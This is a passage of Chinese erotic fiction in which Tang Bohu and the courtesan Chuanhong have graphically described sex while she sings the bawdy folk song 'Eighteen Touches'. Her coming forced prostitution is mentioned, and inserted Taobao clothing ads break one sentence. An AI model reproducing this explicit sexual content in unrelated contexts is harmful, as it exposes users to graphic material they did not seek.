伯虎调了胭脂,在她如粉脸庞上画就了一副樱口桃腮,再描上一对秀眉儿,美女初破瓜,果然风情万千。秋波频盼,似有情稍寄,再对着伯虎用那春葱慢挑,更犹如那勾魂使者。伯虎见到传红姑娘粧成后,是如此美艳动人又狐媚,心裡一阵阵惊喜,而传红对着镜子左看右看一会儿,不住的点头,自己这徒弟画的粧儿,还画得真美呢。

接着伯虎帮着传红梳头,取来那梳子,细心的将传红那缕缕青丝根根梳齐,然后就替她梳了一个入时的堕马髻,传红从怀中取出了数个月前,伯虎赠她的镶蓝宝玉嵌映光珠之紫金凤首钗,要伯虎给她结上,粧成之后,果然是沉鱼落雁、闭月羞花,美艳绝伦。

伯虎在这一日,抽了个空写了封短信,差人送至扬州教坊司给那袖红姑娘,接着便与传红姑娘继续那风流缠绵。

传红的作风与先前那些大家闺秀或小家碧玉皆不同,她虽则在勾栏院裡存身数年,守身如玉,不苟言笑;或许沦落风尘,耳濡目染,对于男女交欢早视为理所当然,对于床第之事最为爽快,决不会让情郎急得上火,在床上也不会畏畏缩缩一切处于被动,或是装羞假怯、又爱又怕、半推半就,处于此时此地之摘花楼,倒颇合伯虎之胃口。

在这几天,无论日间夜晚,传红姑娘总是说脱就脱,可以脱个一丝不挂,说干就干,总要干个淋漓尽致。而且敢说敢干,各种姿势毫不再乎,在上在下来者不拒,要说她的年龄,比起其它七位美女算是最小的,然而伯虎要求与她欢好却从不皱眉说不,比起其它美人来,可真是后生可畏。

就是因为如此,这传红姑娘在这几日,与伯虎大半时间都待在绣榻上,捨死忘生的与伯虎拚命交欢,只当是几天以后,便要与伯虎生离死别,同时将会开始忍着羞辱,干那送往迎来的皮肉生涯。于是传红把握住与伯虎连结在一起的任何一刻休息一下 广告时间:淘宝商城官方旗舰店新年回馈99元 no1dara韩版衬衫领男士毛衣假两件修身男装针织衫

休息一下 广告时间:淘宝男装百强店铺五皇冠秒杀 2011秋冬新款 男士翻领加绒加厚假两件百搭针织衫/毛衣


由于传红姑娘善于歌咏吟唱,在床第间干事时,放开胸怀的淫言俏语甚是高亢动人,于是伯虎便想在这上面做文章,这天侍婢陈餚列尊于几,伯虎与传红对坐凫履交错,杯卮频碰、欢饮笑乐。伯虎一时兴起,只见他坐在圆凳上,将胯下虎豹神鞭鼓起,将传红一手拉近捧搂在怀,褪下她那绡裆,挥鞭入穴,传红姑娘被伯虎抱搂相狎感到十分兴狂,于是嘴裡咿咿嗯嗯的蹲蹲凑凑、起落不定,耸动着身子与伯虎助兴。

伯虎见她脸沾绛霞、颜似桃花,看得心裡十分动心、真个情火起焰,这时却将耸动不已的传红按住,要她唱起那扬州俚俗之十八摸。传红听了伯虎要求当场一愣,随即双颊泛起一片红云,自几上取了杯酒一饮而尽以镇静心神后,便轻启樱唇,慢声轻吟起那十八摸:

一呀摸姐面边丝,乌云飞了半天边;
伸手摸姐脑前边,天庭饱满兮瘾人。

二呀摸姐眉毛湾,分散外面冒中宽;
伸手摸姐小眼儿,黑黑眼睛白白视。

三呀摸姐小鼻针,攸攸烧气往外庵;
伸手摸姐小嘴儿,婴婴眼睛笑微微。

四呀摸姐下各尖,下各尖匕在胸前;
伸手摸姐耳仔边,凸头耳交打秋千。

传红这十八摸,唱起来与常听街头卖唱那种轻佻快节奏的打情骂俏不同,声音轻细拔尖,慢条丝理,中气十足。而伯虎一边儿听着,一边儿用手摸弄着传红所唱着的眉、眼、鼻、耳等部位,同时在胯下运起洞玄子十三经之入门功夫,令那虎豹鞭儿在传红姑娘花穴之中,像是在打拍子,又像那指挥捧,一伸一缩、一点一弄的,搔得传红花房痒痒的。唱至四摸时,只觉花房一阵美快,小洩一阵阴精,将那最后一声「千」字拖得老长,倒在伯虎怀裡。

伯虎稳住下身鞭儿,嘴儿对着传红渡着气儿,没一会儿传红便回过神来,稍稍挣开伯虎搂着的双手,开始将身上衣裳解开敞着,肚兜儿解开,便坐正身子又要唱起来,你道是她为何要解开衣裳,难道是太热了吗?非也非也,这可是和她后面唱的有关係:

五呀摸姐肩膀儿,肩膀同阮一般年;
六呀摸姐胁肢湾,胁肢湾弯搂着肩。

七呀摸姐小毛儿,赛过羊毛笔一枝;
八呀摸姐胸上旁,我胸合了你身中。

可不是吗,这些部位若是穿着衣裳,摸起来怎会有趣,当然要摸到肌肤碰到肉才有感觉,若是要摸到肌肤,倒也不必全脱,只要解开部分就好了。倒是在六摸、七摸之时,伯虎一双手摸到了传红腋下,轻轻刮了下她那稀疏腋毛,令传红花枝乱颤、闪躲了一下,像似怕痒一般。这时候上面的嘴儿鬆了下,走了个音,下面的嘴儿则是紧了一回,一阵收缩,令伯虎舒爽的呻吟回应。

九呀摸姐掌巴中,掌巴弯弯在两旁;
十呀摸姐乳头上,出笼包子无只样。

伯虎一面笑嘻嘻,一面将双手罩上乳房说道:「没见过这般大的包子。」传红姑娘红着脸斜睇他续唱道:

十一摸姐大肚儿,逿像一区栽秧田;
十二摸姐小肚儿,小肚软软合兄眼。

十三摸姐肚脐儿,好相当年肥勒脐;
十四摸妹屁股边,好似扬扬大白绵。

十五摸姐大腿儿,好相冬瓜白丝丝;
十六摸姐白膝湾,好相犁牛挽泥尘。

十七摸姐小腿儿,勿得拨来勿得开;
十八摸姐小足儿,小足细细上兄肩。

一个唱一个摸,没多久这十八摸也摸遍了,随着摸到了下身性感部倍,再加上伯虎胯下肉鞭儿的节拍越打越顺,再唱到下面一段时,传红的调儿也变了。

遍身上下尽摸了,丢了两面摸对中;
左平摸了养儿子,右平梭着养了头。

等到唱完这一段时,只见得传红这位小美人目光痴痴,娇媚脸蛋开出朵朵艳丽红花,浑身瑟瑟发抖,虽然竭力想压抑来自花房的巨大欢娱,却又力不从心,到了最后一句就倏然而止,一阵咿咿唔唔,花心口儿一鬆便洩出阴精,身子又倒在伯虎怀裡。

伯虎身为她最忠诚知音,颇能自那歌曲中听出她的感受,更不用说胯下鞭儿直接感应到那花道之急缩,于是勐的一个吸气,腰身往下一收,拉开一些距离,再勐的一挺,「噢」的一声长叹,一股股阳精,像那满堂喝采般的,批批啪啪的击在花心上。

传红一番的唱作俱佳,已流了一身风流汗,伯虎手儿顺着娇躯起伏线条滑动,因那汗水之润滑,摸上去颇有一种酥溶粉腻般之快感。此时倒在他怀裡的传红,在喘息了一回儿之后,不知怎的居然抽泣了起来,哭的是梨花带雨,好不伤心。

好端端的怎麽哭了起来?伯虎赶紧安抚她,只不是那儿碰痛了?还是那儿委屈到了?或是不愿意边干事边唱曲儿?传红见伯虎如此关心自身感受,也是十分温馨感动,只是这份感动更是让她情伤,只是摇摇头,抽抽嗒嗒的说道:

「奴家唱到时,心裡想到与伯虎哥哥如此这般的亲爱,也可以为你生个娃娃哩,只是造化弄人,五日缘份结束就要劳燕分飞,想起来就令人伤心...」

伯虎听她这麽一说,心情也有些沉重,怎的将信送到袖红姑娘处,至今仍无回音,真令人心焦,不过在自己的女人面前,男人没有装孬的权利,于是仍然打起精神,婉言安慰传红说:

「吉人自有天相,山不转路转,将来或许还有柳暗花明之时,妹子且宽心。」

传红想到这些天应让要好好追欢,怎可如此扫兴,忙止了眼泪,收拾心情,与伯虎尽情交欢,把握住这五天珍贵的时时刻刻。